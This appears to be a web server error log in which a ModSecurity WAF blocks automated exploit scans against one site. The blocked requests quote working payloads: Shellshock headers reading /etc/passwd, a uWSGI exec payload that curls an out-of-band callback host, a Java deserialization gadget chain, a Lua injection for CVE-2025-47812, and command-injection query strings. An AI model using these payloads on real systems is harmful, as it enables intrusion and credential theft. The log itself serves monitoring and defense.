[Sun Nov 16 07:11:41.425272 2025] [:error] [pid 52471:tid 52551] [client 144.48.39.108:49370] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/stats"] [unique_id "aRkIrdmWsFzjR5CEgDW6IAAAAJM"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Sun Nov 16 07:11:41.425376 2025] [:error] [pid 52471:tid 52544] [client 144.48.39.108:49384] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/test-cgi"] [unique_id "aRkIrdmWsFzjR5CEgDW6HwAAAIw"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Sun Nov 16 07:11:41.425934 2025] [:error] [pid 20556:tid 20569] [client 144.48.39.108:49380] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/test.cgi"] [unique_id "aRkIrUkbyEckbWtBcCK0NwAAAQs"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Sun Nov 16 07:11:41.426101 2025] [:error] [pid 52471:tid 52533] [client 144.48.39.108:49356] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/test"] [unique_id "aRkIrdmWsFzjR5CEgDW6IQAAAIE"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Sun Nov 16 07:11:41.426172 2025] [:error] [pid 52471:tid 52554] [client 144.48.39.108:49324] File does not exist: /usr/local/apache/htdocs/suspended-page/installer-backup.php
[Sun Nov 16 07:11:41.426329 2025] [:error] [pid 52471:tid 52556] [client 144.48.39.108:49340] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aRkIrdmWsFzjR5CEgDW6IwAAAJg"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Sun Nov 16 07:11:41.427868 2025] [:error] [pid 52471:tid 52541] [client 144.48.39.108:49410] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /bsh.servlet.BshServlet"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/bsh.servlet.BshServlet"] [unique_id "aRkIrdmWsFzjR5CEgDW6IgAAAIk"]
[Sun Nov 16 07:11:41.428013 2025] [:error] [pid 52563:tid 52574] [client 144.48.39.108:49398] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/status"] [unique_id "aRkIrc-l3ey-hVJ5AusNOgAAAMg"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Sun Nov 16 07:11:41.429031 2025] [:error] [pid 52469:tid 52501] [client 144.48.39.108:49422] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /user.action"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/user.action"] [unique_id "aRkIrU6HaXpHeEZ98Z0d8AAAABg"]
[Sun Nov 16 07:11:41.430101 2025] [:error] [pid 52471:tid 52539] [client 144.48.39.108:49432] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "[\\\\x22';=]" at FILES:abc. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "17"] [id "210220"] [rev "1"] [msg "COMODO WAF: Attempted multipart/form-data bypass||www.windfarmcoolants.com.au|F|2"] [data "t';id;echo '1_"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/mainfunction.cgi/cvmcfgupload"] [unique_id "aRkIrdmWsFzjR5CEgDW6JAAAAIc"]
[Sun Nov 16 07:11:41.431706 2025] [:error] [pid 52563:tid 52588] [client 144.48.39.108:49396] File does not exist: /usr/local/apache/htdocs/suspended-page/upgrade_handle.php
[Sun Nov 16 07:11:41.432910 2025] [:error] [pid 52471:tid 52534] [client 144.48.39.108:49452] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Found 161 byte(s) in ARGS_NAMES:\\xac\\xed\\x00\\x05sr\\x00\\x11java.util.HashSet\\xbaD\\x85\\x95\\x96\\xb8\\xb74\\x03\\x00\\x00xpw\\x0c\\x00\\x00\\x00\\x02?@\\x00\\x00\\x00\\x00\\x00\\x01sr\\x004org.apache.commons.collections.keyvalue.TiedMapEntry\\x8a\\xad\\xd2\\x9b9\\xc1\\x1f\\xdb\\x02\\x00\\x02L\\x00\\x03keyt\\x00\\x12Ljava/lang/Object;L\\x00\\x03mapt\\x00\\x0fLjava/util/Map;xpt\\x00\\x03foosr\\x00*org.apache.commons.collections.map.LazyMapn\\xe5\\x94\\x82\\x9ey\\x10\\x94\\x03\\x00\\x01L\\x00\\x07factoryt\\x00,Lorg/apache/commons/collections/Transformer;xpsr\\x00:org.apache.commons.collections.functors.ChainedTransformer0\\xc7\\x97\\xec(z\\x97\\x04\\x02\\x00\\x01[\\x00\\riTransformerst\\x00-[Lorg/apache/commons/collections/Transformer;xpur\\x00-[Lorg.apache.commons.collections.Transformer;\\xbdV*\\xf1\\xd84\\x18\\x99\\x02\\x00\\x00xp\\x00\\x00\\x00\\x05sr\\x00;org.apache.commons.collections.functors.ConstantTransformerXv\\x90\\x11A\\x02\\xb1\\x94\\x02\\x00\\x01L\\x00\\tiConstantq\\x00~\\x00\\x03xpvr\\x00\\x11java.lang.Runtime\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 [hostname "www.windfarmcoolants.com.au"] [uri "/com.example.TestService"] [unique_id "aRkIrdmWsFzjR5CEgDW6JQAAAII"]
[Sun Nov 16 07:11:42.416270 2025] [:error] [pid 52469:tid 52486] [client 144.48.39.108:49470] [client 144.48.39.108] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.windfarmcoolants.com.au|F|2"] [data "TX:0=x-application/hessian"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.windfarmcoolants.com.au"] [uri "/mifs/.;/services/LogService"] [unique_id "aRkIrk6HaXpHeEZ98Z0d8wAAAAk"], referer: https://www.windfarmcoolants.com.au
[Sun Nov 16 07:11:42.429021 2025] [:error] [pid 52469:tid 52496] [client 144.48.39.108:49554] [client 144.48.39.108] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||www.windfarmcoolants.com.au|F|2"] [data "Multipart parsing error: Multipart: Final boundary missing."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/user/register"] [unique_id "aRkIrk6HaXpHeEZ98Z0d9wAAABM"], referer: www.windfarmcoolants.com.au/user/register
[Sun Nov 16 07:11:42.432517 2025] [:error] [pid 52470:tid 52516] [client 144.48.39.108:49540] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /password_change.cgi"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/password_change.cgi"] [unique_id "aRkIrkg9mXF2ZFFtj1Xh4wAAAEs"], referer: https://www.windfarmcoolants.com.au
[Sun Nov 16 07:11:43.408263 2025] [:error] [pid 20556:tid 20572] [client 144.48.39.108:49598] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /webadm/?q=moni_detail.do&action=gragh"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/webadm/"] [unique_id "aRkIr0kbyEckbWtBcCK0OwAAAQ4"]
[Sun Nov 16 07:11:43.485869 2025] [:error] [pid 52563:tid 52580] [client 144.48.39.108:49636] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Found 7 byte(s) in ARGS_NAMES:\\x00r\\x00\\x00\\n\\x00UWSGI_FILEK\\x00exec://curl aaaaaaaaaa.d4bethlndua6f9q50b70b5st9cnswf8iw.oast.live; echo ""\\v\\x00SCRIPT_NAME\\n\\x00/penetrate outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||www.windfarmcoolants.com.au|F|3"] [data "ARGS_NAMES:\\x5cx00r\\x5cx00\\x5cx00\\x5cn\\x5cx00UWSGI_FILEK\\x5cx00exec://curl aaaaaaaaaa.d4bethlndua6f9q50b70b5st9cnswf8iw.oast.live; echo \\x22\\x22\\x5cv\\x5cx00SCRIPT_NAME\\x5cn\\x5cx00/penetrate=\\x00r\\x00\\x00\\x0a\\x00UWSGI_FILEK\\x00exec://curl aaaaaaaaaa.d4bethlndua6f9q50b70b5st9cnswf8iw.oast.live; echo \\x22\\x22\\x0b\\x00SCRIPT_NAME\\x0a\\x00/penetrate"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aRkIr8-l3ey-hVJ5AusNPAAAAM4"]
[Sun Nov 16 07:11:44.406079 2025] [:error] [pid 52469:tid 52499] [client 144.48.39.108:49710] [client 144.48.39.108] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "www.windfarmcoolants.com.au"] [uri "/soap.cgi"] [unique_id "aRkIsE6HaXpHeEZ98Z0d_AAAABY"]
[Sun Nov 16 07:11:44.407238 2025] [:error] [pid 52469:tid 52499] [client 144.48.39.108:49710] [client 144.48.39.108] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||www.windfarmcoolants.com.au|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/soap.cgi"] [unique_id "aRkIsE6HaXpHeEZ98Z0d_AAAABY"]
[Sun Nov 16 07:11:44.409938 2025] [:error] [pid 52470:tid 52528] [client 144.48.39.108:49746] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /webadm/?q=moni_detail.do&action=gragh"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/webadm/"] [unique_id "aRkIsEg9mXF2ZFFtj1Xh6AAAAFc"]
[Sun Nov 16 07:11:44.414604 2025] [:error] [pid 52471:tid 52532] [client 144.48.39.108:49748] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Sun Nov 16 07:11:46.406189 2025] [:error] [pid 20556:tid 20563] [client 144.48.39.108:49778] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /account"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/account"] [unique_id "aRkIskkbyEckbWtBcCK0RQAAAQU"]
[Sun Nov 16 07:11:46.418049 2025] [:error] [pid 20556:tid 20558] [client 144.48.39.108:49792] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)((?:\\\\bx(?:link:href|html|mlns)|!ENTITY\\\\b.{0,399}?\\\\b(?:SYSTEM|PUBLIC)|\\\\bdata:text\\\\/html))" at ARGS:stagingTaskData. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "170"] [id "213060"] [rev "7"] [msg "COMODO WAF: XSS Filter - Category 3: Attribute Vector||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "www.windfarmcoolants.com.au"] [uri "/CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData"] [unique_id "aRkIskkbyEckbWtBcCK0RgAAAQA"]
[Sun Nov 16 08:12:27.589220 2025] [:error] [pid 52470:tid 52505] [client 45.61.187.69:54990] [client 45.61.187.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.187.69, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRkW60g9mXF2ZFFtj1XyAAAAAEA"], referer: https://www.yahoo.com/
[Sun Nov 16 08:12:27.597021 2025] [:error] [pid 52470:tid 52505] [client 45.61.187.69:54990] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.yahoo.com/
[Sun Nov 16 08:23:13.878989 2025] [:error] [pid 52471:tid 52546] [client 144.48.39.108:47940] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Sun Nov 16 08:23:16.405851 2025] [:error] [pid 20556:tid 20579] [client 144.48.39.108:47948] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Found 1 byte(s) in ARGS:username outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||windfarmcoolants.com.au|F|3"] [data "ARGS:username=anonymous\\x00]]\\x0dlocal h = io.popen(\\x22echo CVE-2025-47812\\x22)\\x0dlocal r = h:read(\\x22*a\\x22)\\x0dh:close()\\x0dprint(r)\\x0d--"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/loginok.html"] [unique_id "aRkZdEkbyEckbWtBcCLOBQAAARU"]
[Sun Nov 16 08:23:26.417960 2025] [:error] [pid 52471:tid 52551] [client 144.48.39.108:59694] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Sun Nov 16 08:36:45.416448 2025] [:error] [pid 52470:tid 52526] [client 144.48.39.108:48274] File does not exist: /usr/local/apache/htdocs/suspended-page/login.php
[Sun Nov 16 10:25:51.632044 2025] [:error] [pid 52471:tid 52550] [client 45.61.184.130:10809] [client 45.61.184.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.184.130, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRk2L9mWsFzjR5CEgDXpegAAAJI"]
[Sun Nov 16 10:25:51.636101 2025] [:error] [pid 52471:tid 52550] [client 45.61.184.130:10809] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sun Nov 16 11:54:34.360633 2025] [:error] [pid 20556:tid 20568] [client 209.38.95.179:56488] [client 209.38.95.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aRlK-kkbyEckbWtBcCIbWwAAAQo"]
[Sun Nov 16 11:54:36.930749 2025] [:error] [pid 52470:tid 52505] [client 209.38.95.179:38814] [client 209.38.95.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aRlK_Eg9mXF2ZFFtj1Uk5wAAAEA"]
[Sun Nov 16 16:04:24.853892 2025] [:error] [pid 34133:tid 34142] [client 144.48.39.108:52816] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /install/install.php?step=4"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/install/install.php"] [unique_id "aRmFiPSAB3iwXVRY0gF60wAAAUc"]
[Sun Nov 16 16:04:24.990838 2025] [:error] [pid 34271:tid 34280] [client 144.48.39.108:52810] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/Web.config" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/web.config.i18n.ashx"] [unique_id "aRmFiENmlZhoZZV1BUCfnQAAAkc"]
[Sun Nov 16 16:04:25.451045 2025] [:error] [pid 52469:tid 52493] [client 144.48.39.108:52832] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)%3Ekcja.txt"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/include/exportUser.php"] [unique_id "aRmFiU6HaXpHeEZ98Z2rVQAAABA"]
[Sun Nov 16 16:04:25.451107 2025] [:error] [pid 52469:tid 52498] [client 144.48.39.108:52842] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRmFiU6HaXpHeEZ98Z2rVwAAABU"]
[Sun Nov 16 16:04:25.451989 2025] [:error] [pid 52471:tid 52532] [client 144.48.39.108:52860] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:\\\\b(?:c(?:d(?:\\\\b[^a-zA-Z0-9_]{0,}?[\\\\/]|[^a-zA-Z0-9_]{0,}?\\\\.\\\\.)|hmod.{0,40}?\\\\+.{0,3}x|md(?:\\\\b[^a-zA-Z0-9_]{0,}?\\\\/c|(?:\\\\.exe|32)\\\\b))|(?:echo\\\\b[^a-zA-Z0-9_]{0,}?\\\\by{1,}|n(?:et(?:\\\\b[^a-zA-Z0-9_]{1,}?\\\\blocalgroup|\\\\.exe)|(?:c|map)\\\\.exe)|t(? ..." at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "65"] [id "211210"] [rev "8"] [msg "COMODO WAF: System Command Injection||windfarmcoolants.com.au|F|2"] [data "Matched Data: | id found within ARGS:log:  echo xtgnplnvxzrhngewmmfxlzlcmzdjtojb | id"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/__debugging_center_utils___.php"] [unique_id "aRmFidmWsFzjR5CEgDU2TQAAAIA"]
[Sun Nov 16 16:04:25.453661 2025] [:error] [pid 52471:tid 52547] [client 144.48.39.108:52862] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20UjxYmkMYAL.txt%60"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/card_scan.php"] [unique_id "aRmFidmWsFzjR5CEgDU2TgAAAI8"]
[Sun Nov 16 16:04:25.467399 2025] [:error] [pid 34164:tid 34183] [client 144.48.39.108:52874] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)((?:\\\\bx(?:link:href|html|mlns)|!ENTITY\\\\b.{0,399}?\\\\b(?:SYSTEM|PUBLIC)|\\\\bdata:text\\\\/html))" at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "170"] [id "213060"] [rev "7"] [msg "COMODO WAF: XSS Filter - Category 3: Attribute Vector||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "windfarmcoolants.com.au"] [uri "/adxmlrpc.php"] [unique_id "aRmFie93ccBCLD8-Q4YuUAAAAY8"]
[Sun Nov 16 16:04:26.465956 2025] [:error] [pid 52563:tid 52585] [client 144.48.39.108:52908] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Sun Nov 16 16:04:38.474735 2025] [:error] [pid 34227:tid 34243] [client 144.48.39.108:45676] File does not exist: /usr/local/apache/htdocs/suspended-page/__debugging_center_utils___.php
[Sun Nov 16 16:04:38.482369 2025] [:error] [pid 52469:tid 52491] [client 144.48.39.108:45732] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRmFlk6HaXpHeEZ98Z2rYwAAAA4"]
[Sun Nov 16 17:50:47.887331 2025] [:error] [pid 52471:tid 52548] [client 45.61.187.69:35777] [client 45.61.187.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.187.69, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRmed9mWsFzjR5CEgDVM8AAAAJA"], referer: https://duckduckgo.com/
[Sun Nov 16 17:50:47.891191 2025] [:error] [pid 52471:tid 52548] [client 45.61.187.69:35777] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://duckduckgo.com/
[Sun Nov 16 18:03:03.904481 2025] [:error] [pid 52563:tid 52578] [client 104.244.73.57:22691] [client 104.244.73.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.244.73.57, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRmhV8-l3ey-hVJ5AuuloQAAAMw"], referer: https://www.google.com/
[Sun Nov 16 18:03:03.910931 2025] [:error] [pid 52563:tid 52578] [client 104.244.73.57:22691] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.google.com/
[Sun Nov 16 18:59:14.772180 2025] [:error] [pid 34164:tid 34188] [client 118.100.118.24:49104] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Sun Nov 16 18:59:25.281294 2025] [:error] [pid 34164:tid 34190] [client 118.100.118.24:49270] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
